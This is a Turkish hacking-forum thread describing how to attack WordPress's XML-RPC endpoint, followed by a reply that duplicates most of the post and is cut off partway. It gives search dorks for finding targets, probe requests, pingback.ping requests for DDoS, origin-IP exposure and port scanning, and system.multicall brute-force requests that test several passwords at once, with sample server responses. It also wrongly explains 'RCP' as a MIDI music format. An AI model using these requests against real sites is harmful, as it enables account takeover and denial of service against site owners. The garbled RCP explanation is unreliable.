Xml - Rcp Exploit

xezua

Katılımcı Üye
4 Tem 2023
359
5
103
Misconfiguration
HERKESE MERHABA TÜRK HACK TEAM AİİLESİ
BUGÜN KONU OLARAK BU KONUYU ALDIM UMARIM BEĞENİRSİNİZ KEYİFLİ OKUMALAR


İlk olarak XML nedir ?
- XML (Extensible Markup Language ya da Türkçesiyle Genişletilebilir İşaretleme Dili (XML), verileri paylaşılabilir bir şekilde tanımlamanıza ve saklamanıza olanak tanır. XML, web siteleri, veri tabanları ve üçüncü taraf uygulamaları gibi bilgisayar sistemleri arasında bilgi alışverişini destekler. Önceden tanımlanmış kurallar, verileri herhangi bir ağ üzerinden XML dosyaları olarak iletmeyi kolaylaştırır, böylece alıcı verileri doğru ve verimli bir şekilde okumak için bu kuralları kullanabilir.


6lsh3ws.jfif


XML AVANTAJLARI NELERDİR ?

-

İşletmeler arası işlemleri destekleyin

Bir şirket başka bir şirkete mal veya hizmet sattığında, iki işletmenin maliyet, teknik özellikler ve teslimat programları gibi bilgileri paylaşması gerekir. Genişletilebilir İşaretleme Dili (XML) ile gerekli tüm bilgileri elektronik olarak paylaşabilir ve herhangi bir insan müdahalesi olmaksızın karmaşık anlaşmaları otomatik olarak gerçekleştirebilirler.

Veri bütünlüğünü koruyun

XML, verilerin açıklamasıyla birlikte verileri aktarmanıza izin vererek veri bütünlüğü kaybını önler. Aşağıdakileri yapmak için bu açıklayıcı bilgileri kullanabilirsiniz:

  • Veri doğruluğunu doğrulama
  • Farklı kullanıcılar için veri sunumunu otomatik olarak özelleştirme
  • Verileri birden çok platformda tutarlı bir şekilde depolama

Arama verimliliğini artırın

Arama motorları gibi bilgisayar programları, XML dosyalarını diğer belge türlerinden daha verimli ve hassas bir şekilde sıralayabilir ve kategorize edebilir. Örneğin, kelime işareti bir isim veya fiil olabilir. Arama motorları, XML etiketlerine dayanarak ilgili arama sonuçları için işareti doğru bir şekilde kategorilere ayırabilir. Böylece XML, bilgisayarların doğal dili daha verimli bir şekilde yorumlamasına yardımcı olur.

Esnek uygulamalar tasarlayın

XML ile uygulama tasarımınızı rahatça yükseltebilir veya değiştirebilirsiniz. Yeniler başta olmak üzere birçok teknoloji, yerleşik XML desteği ile birlikte gelir. Tüm veri tabanınızı yeniden biçimlendirmek zorunda kalmadan değişiklik yapabilmeniz için XML veri dosyalarını otomatik olarak okuyabilir ve işleyebilirler.


XML DOSYASI İÇERİĞİ NELERDİR ?


, .xml uzantısıyla kaydedebileceğiniz metin tabanlı bir belgedir. Diğer metin dosyalarına benzer XML yazabilirsiniz. Bir XML dosyası oluşturmak veya düzenlemek için aşağıdakilerden birini kullanabilirsiniz:

  • Notepad veya Notepad++ gibi metin düzenleyicileri
  • Çevrimiçi XML düzenleyicileri
  • Web tarayıcıları
XML dosyaları aşağıdaki bileşenleri içerir.

XML belgesi

<xml></xml> etiketleri, bir XML dosyasının başlangıcını ve sonunu işaretlemek için kullanılır. Bu etiketlerin içindeki içeriğe de XML belgesi denir. Herhangi bir yazılımın XML kodunu işlemek için arayacağı ilk etikettir.

XML bildirimi

XML belgesi, XML'nin kendisi hakkında bazı bilgilerle başlar. Örneğin takip ettiği XML sürümünden bahsedebilir. Bu açılışa XML bildirimi denir. İşte bir örnek.

<?xml version="1.0" encoding="UTF-8"?>


XML ögeleri

Bir XML belgesi içinde oluşturduğunuz diğer tüm etiketlere XML ögeleri denir. XML ögeleri şu özellikleri içerebilir:

  • Metin
  • Öznitelikler
  • Diğer ögeler
Tüm XML belgeleri, kök ögesi olarak adlandırılan birincil etiketle başlar.

Örneğin, aşağıdaki XML dosyasını göz önünde bulundurun.

Kod:
<InvitationList>

<family>

       <aunt>

       <name>Christine</name>

        <name>Stephanie</name>

       </aunt>

</family>

</InvitationList>

<InvitationList> kök unsurdur; family ve aunt diğer öge isimleridir.

XML öznitelikleri

XML ögeleri, öznitelikler adı verilen başka tanımlayıcılara sahip olabilir. Kendi öznitelik adlarınızı tanımlayabilir ve öznitelik değerlerini aşağıda gösterildiği gibi tırnak işaretleri içinde yazabilirsiniz.

<person age=“22”>


XML içeriği

XML dosyalarındaki verilere de XML içeriği denir. Örneğin, XML dosyasında şu tarz veriler görebilirsiniz.

<friend>

<name>xezua</name>

<name>shaco </name>

</friend>

xezua ve shaco veri değerleri, içeriktir.




PEKİ RCP NEDİR ?

-

RCP dosya uzantısı, Recomposer MIDI Sequencer Müzik formatı için kullanılır. Bu format, Come-On Music'in Recomposer serisi ürünlerinden çıkan bazı sıralayıcılardan üretilmiştir (Bunlar yalnızca Japonya'da ünlüdür).


czn3pcq.png



Bu format Japonya'da çok popüler olduğu için, Standart MIDI dosyası (SMF) yerine bu formata dayalı birçok MIDI dizi verisi mevcuttur. Hatta bu formatla başa çıkabilen bazı özgür yazılım sıralayıcıları bile var.

çok daha fazla uzatmadan kısaca müzik formatıdır.


PEKİ XMLRCP NEDİR <

- En temelinde XmlRpc protokolü içinde xml formatındaki verileri barındırır.
-Forum, web siteleri gibi içeriklerin birbirleri ile etkileşimini kuran bu teknolojisi arka planda http post metodunu kullanır. Bu sayede blog içinde veya farklı bloklar arasında bir veri trafiği oluşur. Ancak bu sırada wp'in pingback özelliğinin kötüye kullanılması sonucundan bu zafiyet ortaya çıkmaktadır.
-Şimdi sitenizde bu açık var mı?


https://website/xmlrpc.php şeklinde sorguladığımızda bize dönen cevap
“XML-RPC server accepts POST requests only” ise bu açığa sahipsiniz demektir.
- Açığın sebep olacağı etkiler nedir?
- İlk olarak bu açığı kullanarak sitenize ddos saldırısı yapılabilmesi mümkün olup sitenizin performansı düşürülecek ve site isteklere cevap veremeyecek hale gelecektir.

- Açıktan faydalanıp sitenize yapılan saldırılar olduysa bunu da /var/log/....acccess.log dosyası altında görebilirsiniz. “POST /xmlrpc.php HTTP/1.0” şeklinde loglar görürseniz daha önce sitenizi ziyarete gelenlerin olduğunu anlayabilirsiniz.

- Açığı nasıl Kapatırız?
birden fazla cevap mevcut. Siteniz içerisinde XMLRPC protolünü kullanmıyor iseniz sizin için iki seçenek mevcut. İlk yöntem WP içine bir eklenti kurmak. Eklentinin adı Disable XML-RPC. Tüm eklentileri WP ara yüzünden Eklenti-Plugins ara yüzünden kurabilirsiniz. Daha sonra etkinleştirme işlemini gerçekleştirebilirsiniz.

- İşlemi yaptıktan sonra https://website/xmlrpc.php sayfasını yeniden çağırdığınızda artık “XML-RPC server accepts POST requests only” sayfası karşınıza gelmiyor ve 404,403, sayfa bulunamadı mesajı alıyorsanız elinize sağlık açığı kapattınız demektir.
- GELELİM SALDIRI YÖNTEMLERİNE

  • XML-RPC pingbacks
  • Brute force attacks via XML-RPC
  • OLMAK ÜZERE 2 YE AYRILMAKTADIR.

PEKİ BU AÇIĞI BULMAK İÇİN DORKLAR NELERDİR ?


  • inurl:"/xmlrpc.php?rsd"+ kapsam kısıtlamaları
  • intitle:"WordPress" inurl:"readme.html"+ kapsam kısıtlamaları = genel wordpress tespiti
  • allinurl:"wp-content/plugins/"+ kapsam kısıtlamaları = genel wordpress tespiti

WordPress'te XML-RPC sunucularını arama:​

Kontrol edilecek adımlar:

  1. Bir WordPress sitesini hedeflediğinizden emin olun.
  2. Dosyaya erişiminiz olduğundan emin olun xmlrpc.php. Genel olarak https :// örneğinde bulunur . com / xmlrpc . php ve bir GET isteğine şu şekilde yanıt verir: https :// örneği . com / xmlrpc . php ve bir GET isteğine şununla cevap verir:XML-RPC server accepts POST requests only.
  3. Devre dışı bırakılmış/kodlanmış/kurcalanmış/çalışmayan bir XML-RPC sunucusunu hedeflemek anlamsız olacaktır. Bu nedenle aşağıdaki isteği göndererek işlevselliğini kontrol edeceğiz:

Gönderi İsteği
Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 135

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

NORMAL YANIT NASIL OLMALIDIR
-

Kod:
HTTP/1.1 200 OK
Date: dec, 26 Jul 2023 16:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
  <value><string>wp.editProfile</string></value>
  <value><string>wp.getProfile</string></value>
  <value><string>wp.getUsers</string></value>
  <value><string>wp.getUser</string></value>
  <value><string>wp.getTaxonomies</string></value>
  <value><string>wp.getTaxonomy</string></value>
  <value><string>wp.getTerms</string></value>
  <value><string>wp.getTerm</string></value>
  <value><string>wp.deleteTerm</string></value>
  <value><string>wp.editTerm</string></value>
  <value><string>wp.newTerm</string></value>
  <value><string>wp.getPosts</string></value>
  <value><string>wp.getPost</string></value>
  <value><string>wp.deletePost</string></value>
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>


- ŞEKLİNDE OLMALIDIR.
Yukarıda SUNDUĞUM örnek yanıtın yokluğunda, iki güvenlik açığının gerçek testine devam etmenin oldukça anlamsız olduğunu unutmayın. Yanıt, WordPress kurulumunun ayarlarına ve yapılandırmalarına bağlı olarak değişebilir.
EĞER Kİ BUNUN İÇİN BİR ÇIKTI VARSA EN AZINDAN
demo.sayHello<methodName>system.listMethods</methodName> ADI VERİLEN EN TEMEL YÖNTMLE ETKİLEŞİME GEÇMESİNİ SAĞLAR
- İSTEME



Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 130

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>


- ALDIĞIMIZ CEVAP
Kod:
HTTP/1.1 200 OK
Date: dec, 26 dec 2023 17:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 181
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <string>Hello!</string>
      </value>
    </param>
  </params>
</methodResponse>

XML-RPC geri ping saldırıları​


- Bu durumda SALDIRAN KİŞİ , aşağıdaki amaçlar doğrultusunda geri aramalar gerçekleştirmek için varsayılan XML-RPC API'sinden yararlanabilir
* Dağıtılmış hizmet reddi (DDoS) saldırıları - Bir saldırgan , etkilenen birkaç WordPress kurulumundan pingback.ping yöntemini korumasız tek bir hedefe (botnet düzeyi) karşı yürütür
*
Cloudflare Korumasını Atlatma - Saldırgan, hedefin genel IP'sini ortaya çıkarmak ve böylece hedefin genel IP'sini ortaya çıkarmak için CloudFlare tarafından korunan etkilenen tek bir WordPress kurulumundan saldırgan tarafından kontrol edilen bir genel ana bilgisayara (örneğin bir VPS) pingback.ping yöntemini çalıştırır . herhangi bir DNS düzeyinde koruma.
* XSPA (Siteler Arası Bağlantı Noktası Saldırısı) - Bir saldırgan , etkilenen tek bir WordPress kurulumundan farklı bağlantı noktalarındaki aynı ana bilgisayara (veya diğer dahili/özel ana bilgisayara) pingback.ping yöntemini yürütebilir . Açık bir bağlantı noktası veya dahili bir ana bilgisayar, yanıt süresindeki fark gözlemlenerek ve/veya isteğin yanıtına bakılarak belirlenebilir.
Aşağıda PostBin tarafından sağlanan URL'yi geri arama olarak kullanan basit bir örnek istek gösterilmektedir:

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 303

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://postb.in/1562017983221-4377199190203</string></value>
</param>
<param>
<value><string>https://example.com/</string></value>
</param>
</params>
</methodCall>


ÖRNEK ALDIĞIMIZ YANIT


Kod:
HTTP/1.1 200 OK
Date: dec, 26 dec 2023 21:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 370
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>0</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string></string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>



POSTPİN DURUMU

Screenshot%20from%202019-07-02%2001-03-07.png



GELELİM KABA KUVVET SALDIRISINA

- Bazen, WordPress sitesine yönelik kaba kuvvet saldırısında istek sınırlamayı veya engellemeyi atlamanın tek yolu, tamamen unutulmuş XML-RPC API'sini kullanmaktır .
EN YAYGIN KABA KUVVET SALDRISINI TEMSİL EDEN İSTEK

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 235

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>\{\{your username\}\}</value></param>
<param><value>\{\{your password\}\}</value></param>
</params>
</methodCall>

Yukarıdaki istek Burp Intruder'da (örneğin) farklı kimlik bilgileriyle gönderilebilir. Şifreyi tahmin etseniz de etmeseniz de yanıt kodunun her zaman 200 olacağını unutmayın . Yanıtın gövdesindeki hataları/mesajları aramanızı şiddetle tavsiye ederim.

Hedefe karşı çok fazla istek göndermekten mi endişeleniyorsunuz? - Endişelenme. WordPress XML-RPC varsayılan olarak bir saldırganın tek bir istek gerçekleştirmesine ve yüzlerce şifreyi kaba kuvvetle kullanmasına olanak tanır.
bu istek hem system.multicall hem de wp.getUsersBlogs yöntemleri için izin gerektirir

Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 1560

<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>\{\{ Your Username \}\}</string></value><value><string>\{\{ Your Password \}\}</string></value></data></array></value></data></array></value></member></struct></value>

</data></array></value></param></params></methodCall>

Yİne yanıtımız böyle gözükecek

Kod:
HTTP/1.1 200 OK
Date:dec, 26 dec 2023 23:02:55 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 1043
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Yukarıdaki örnekte tek bir istek kullanarak 4 farklı kimlik bilgisi setini test ettim. {{ Kullanıcı Adınız }} ve {{ Şifreniz }}'yi kendi kombinasyonlarınızla değiştirmeniz yeterlidir


okuduğunuz için teşşekürler.


kUO2u_cb.webp
 
Son düzenleme:

Zwo

Katılımcı Üye
HERKESE MERHABA TÜRK HACK TEAM AİİLESİ
BUGÜN KONU OLARAK BU KONUYU ALDIM UMARIM BEĞENİRSİNİZ KEYİFLİ OKUMALAR


İlk olarak XML nedir ?
- XML (Extensible Markup Language ya da Türkçesiyle Genişletilebilir İşaretleme Dili (XML), verileri paylaşılabilir bir şekilde tanımlamanıza ve saklamanıza olanak tanır. XML, web siteleri, veri tabanları ve üçüncü taraf uygulamaları gibi bilgisayar sistemleri arasında bilgi alışverişini destekler. Önceden tanımlanmış kurallar, verileri herhangi bir ağ üzerinden XML dosyaları olarak iletmeyi kolaylaştırır, böylece alıcı verileri doğru ve verimli bir şekilde okumak için bu kuralları kullanabilir.


6lsh3ws.jfif


XML AVANTAJLARI NELERDİR ?

-

İşletmeler arası işlemleri destekleyin

Bir şirket başka bir şirkete mal veya hizmet sattığında, iki işletmenin maliyet, teknik özellikler ve teslimat programları gibi bilgileri paylaşması gerekir. Genişletilebilir İşaretleme Dili (XML) ile gerekli tüm bilgileri elektronik olarak paylaşabilir ve herhangi bir insan müdahalesi olmaksızın karmaşık anlaşmaları otomatik olarak gerçekleştirebilirler.

Veri bütünlüğünü koruyun

XML, verilerin açıklamasıyla birlikte verileri aktarmanıza izin vererek veri bütünlüğü kaybını önler. Aşağıdakileri yapmak için bu açıklayıcı bilgileri kullanabilirsiniz:

  • Veri doğruluğunu doğrulama
  • Farklı kullanıcılar için veri sunumunu otomatik olarak özelleştirme
  • Verileri birden çok platformda tutarlı bir şekilde depolama

Arama verimliliğini artırın

Arama motorları gibi bilgisayar programları, XML dosyalarını diğer belge türlerinden daha verimli ve hassas bir şekilde sıralayabilir ve kategorize edebilir. Örneğin, kelime işareti bir isim veya fiil olabilir. Arama motorları, XML etiketlerine dayanarak ilgili arama sonuçları için işareti doğru bir şekilde kategorilere ayırabilir. Böylece XML, bilgisayarların doğal dili daha verimli bir şekilde yorumlamasına yardımcı olur.

Esnek uygulamalar tasarlayın

XML ile uygulama tasarımınızı rahatça yükseltebilir veya değiştirebilirsiniz. Yeniler başta olmak üzere birçok teknoloji, yerleşik XML desteği ile birlikte gelir. Tüm veri tabanınızı yeniden biçimlendirmek zorunda kalmadan değişiklik yapabilmeniz için XML veri dosyalarını otomatik olarak okuyabilir ve işleyebilirler.


XML DOSYASI İÇERİĞİ NELERDİR ?


, .xml uzantısıyla kaydedebileceğiniz metin tabanlı bir belgedir. Diğer metin dosyalarına benzer XML yazabilirsiniz. Bir XML dosyası oluşturmak veya düzenlemek için aşağıdakilerden birini kullanabilirsiniz:

  • Notepad veya Notepad++ gibi metin düzenleyicileri
  • Çevrimiçi XML düzenleyicileri
  • Web tarayıcıları
XML dosyaları aşağıdaki bileşenleri içerir.

XML belgesi

<xml></xml> etiketleri, bir XML dosyasının başlangıcını ve sonunu işaretlemek için kullanılır. Bu etiketlerin içindeki içeriğe de XML belgesi denir. Herhangi bir yazılımın XML kodunu işlemek için arayacağı ilk etikettir.

XML bildirimi

XML belgesi, XML'nin kendisi hakkında bazı bilgilerle başlar. Örneğin takip ettiği XML sürümünden bahsedebilir. Bu açılışa XML bildirimi denir. İşte bir örnek.

<?xml version="1.0" encoding="UTF-8"?>


XML ögeleri

Bir XML belgesi içinde oluşturduğunuz diğer tüm etiketlere XML ögeleri denir. XML ögeleri şu özellikleri içerebilir:

  • Metin
  • Öznitelikler
  • Diğer ögeler
Tüm XML belgeleri, kök ögesi olarak adlandırılan birincil etiketle başlar.

Örneğin, aşağıdaki XML dosyasını göz önünde bulundurun.

Kod:
<InvitationList>

<family>

       <aunt>

       <name>Christine</name>

        <name>Stephanie</name>

       </aunt>

</family>

</InvitationList>

<InvitationList> kök unsurdur; family ve aunt diğer öge isimleridir.

XML öznitelikleri

XML ögeleri, öznitelikler adı verilen başka tanımlayıcılara sahip olabilir. Kendi öznitelik adlarınızı tanımlayabilir ve öznitelik değerlerini aşağıda gösterildiği gibi tırnak işaretleri içinde yazabilirsiniz.

<person age=“22”>


XML içeriği

XML dosyalarındaki verilere de XML içeriği denir. Örneğin, XML dosyasında şu tarz veriler görebilirsiniz.

<friend>

<name>xezua</name>

<name>shaco </name>

</friend>

xezua ve shaco veri değerleri, içeriktir.




PEKİ RCP NEDİR ?

-

RCP dosya uzantısı, Recomposer MIDI Sequencer Müzik formatı için kullanılır. Bu format, Come-On Music'in Recomposer serisi ürünlerinden çıkan bazı sıralayıcılardan üretilmiştir (Bunlar yalnızca Japonya'da ünlüdür).


czn3pcq.png



Bu format Japonya'da çok popüler olduğu için, Standart MIDI dosyası (SMF) yerine bu formata dayalı birçok MIDI dizi verisi mevcuttur. Hatta bu formatla başa çıkabilen bazı özgür yazılım sıralayıcıları bile var.

çok daha fazla uzatmadan kısaca müzik formatıdır.


PEKİ XMLRCP NEDİR <

- En temelinde XmlRpc protokolü içinde xml formatındaki verileri barındırır.
-Forum, web siteleri gibi içeriklerin birbirleri ile etkileşimini kuran bu teknolojisi arka planda http post metodunu kullanır. Bu sayede blog içinde veya farklı bloklar arasında bir veri trafiği oluşur. Ancak bu sırada wp'in pingback özelliğinin kötüye kullanılması sonucundan bu zafiyet ortaya çıkmaktadır.
-Şimdi sitenizde bu açık var mı?


https://website/xmlrpc.php şeklinde sorguladığımızda bize dönen cevap
“XML-RPC server accepts POST requests only” ise bu açığa sahipsiniz demektir.
- Açığın sebep olacağı etkiler nedir?
- İlk olarak bu açığı kullanarak sitenize ddos saldırısı yapılabilmesi mümkün olup sitenizin performansı düşürülecek ve site isteklere cevap veremeyecek hale gelecektir.

- Açıktan faydalanıp sitenize yapılan saldırılar olduysa bunu da /var/log/....acccess.log dosyası altında görebilirsiniz. “POST /xmlrpc.php HTTP/1.0” şeklinde loglar görürseniz daha önce sitenizi ziyarete gelenlerin olduğunu anlayabilirsiniz.

- Açığı nasıl Kapatırız?
birden fazla cevap mevcut. Siteniz içerisinde XMLRPC protolünü kullanmıyor iseniz sizin için iki seçenek mevcut. İlk yöntem WP içine bir eklenti kurmak. Eklentinin adı Disable XML-RPC. Tüm eklentileri WP ara yüzünden Eklenti-Plugins ara yüzünden kurabilirsiniz. Daha sonra etkinleştirme işlemini gerçekleştirebilirsiniz.

- İşlemi yaptıktan sonra https://website/xmlrpc.php sayfasını yeniden çağırdığınızda artık “XML-RPC server accepts POST requests only” sayfası karşınıza gelmiyor ve 404,403, sayfa bulunamadı mesajı alıyorsanız elinize sağlık açığı kapattınız demektir.
- GELELİM SALDIRI YÖNTEMLERİNE

  • XML-RPC pingbacks
  • Brute force attacks via XML-RPC
  • OLMAK ÜZERE 2 YE AYRILMAKTADIR.

PEKİ BU AÇIĞI BULMAK İÇİN DORKLAR NELERDİR ?


  • inurl:"/xmlrpc.php?rsd"+ kapsam kısıtlamaları
  • intitle:"WordPress" inurl:"readme.html"+ kapsam kısıtlamaları = genel wordpress tespiti
  • allinurl:"wp-content/plugins/"+ kapsam kısıtlamaları = genel wordpress tespiti

WordPress'te XML-RPC sunucularını arama:​

Kontrol edilecek adımlar:

  1. Bir WordPress sitesini hedeflediğinizden emin olun.
  2. Dosyaya erişiminiz olduğundan emin olun xmlrpc.php. Genel olarak https :// örneğinde bulunur . com / xmlrpc . php ve bir GET isteğine şu şekilde yanıt verir: https :// örneği . com / xmlrpc . php ve bir GET isteğine şununla cevap verir:XML-RPC server accepts POST requests only.
  3. Devre dışı bırakılmış/kodlanmış/kurcalanmış/çalışmayan bir XML-RPC sunucusunu hedeflemek anlamsız olacaktır. Bu nedenle aşağıdaki isteği göndererek işlevselliğini kontrol edeceğiz:

Gönderi İsteği
Kod:
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 135

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

NORMAL YANIT NASIL OLMALIDIR
-

Kod:
HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 17:13:30 GMT
Server: Apache
Strict-Transport-Security: max-age=63072000; includeSubdomains; preload
Connection: close
Vary: Accept-Encoding
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>
  <value><string>mt.getPostCategories</string></value>
  <value><string>mt.getRecentPostTitles</string></value>
  <value><string>mt.getCategoryList</string></value>
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>metaWeblog.deletePost</string></value>
  <value><string>metaWeblog.newMediaObject</string></value>
  <value><string>metaWeblog.getCategories</string></value>
  <value><string>metaWeblog.getRecentPosts</string></value>
  <value><string>metaWeblog.getPost</string></value>
  <value><string>metaWeblog.editPost</string></value>
  <value><string>metaWeblog.newPost</string></value>
  <value><string>blogger.deletePost</string></value>
  <value><string>blogger.editPost</string></value>
  <value><string>blogger.newPost</string></value>
  <value><string>blogger.getRecentPosts</string></value>
  <value><string>blogger.getPost</string></value>
  <value><string>blogger.getUserInfo</string></value>
  <value><string>blogger.getUsersBlogs</string></value>
  <value><string>wp.restoreRevision</string></value>
  <value><string>wp.getRevisions</string></value>
  <value><string>wp.getPostTypes</string></value>
  <value><string>wp.getPostType</string></value>
  <value><string>wp.getPostFormats</string></value>
  <value><string>wp.getMediaLibrary</string></value>
  <value><string>wp.getMediaItem</string></value>
  <value><string>wp.getCommentStatusList</string></value>
  <value><string>wp.newComment</string></value>
  <value><string>wp.editComment</string></value>
  <value><string>wp.deleteComment</string></value>
  <value><string>wp.getComments</string></value>
  <value><string>wp.getComment</string></value>
  <value><string>wp.setOptions</string></value>
  <value><string>wp.getOptions</string></value>
  <value><string>wp.getPageTemplates</string></value>
  <value><string>wp.getPageStatusList</string></value>
  <value><string>wp.getPostStatusList</string></value>
  <value><string>wp.getCommentCount</string></value>
  <value><string>wp.deleteFile</string></value>
  <value><string>wp.uploadFile</string></value>
  <value><string>wp.suggestCategories</string></value>
  <value><string>wp.deleteCategory</string></value>
  <value><string>wp.newCategory</string></value>
  <value><string>wp.getTags</string></value>
  <value><string>wp.getCategories</string></value>
  <value><string>wp.getAuthors</string></value>
  <value><string>wp.getPageList</string></value>
  <value><string>wp.editPage</string></value>
  <value><string>wp.deletePage</string></value>
  <value><string>wp.newPage</string></value>
  <value><string>wp.getPages</string></value>
  <value><string>wp.getPage</string></value>
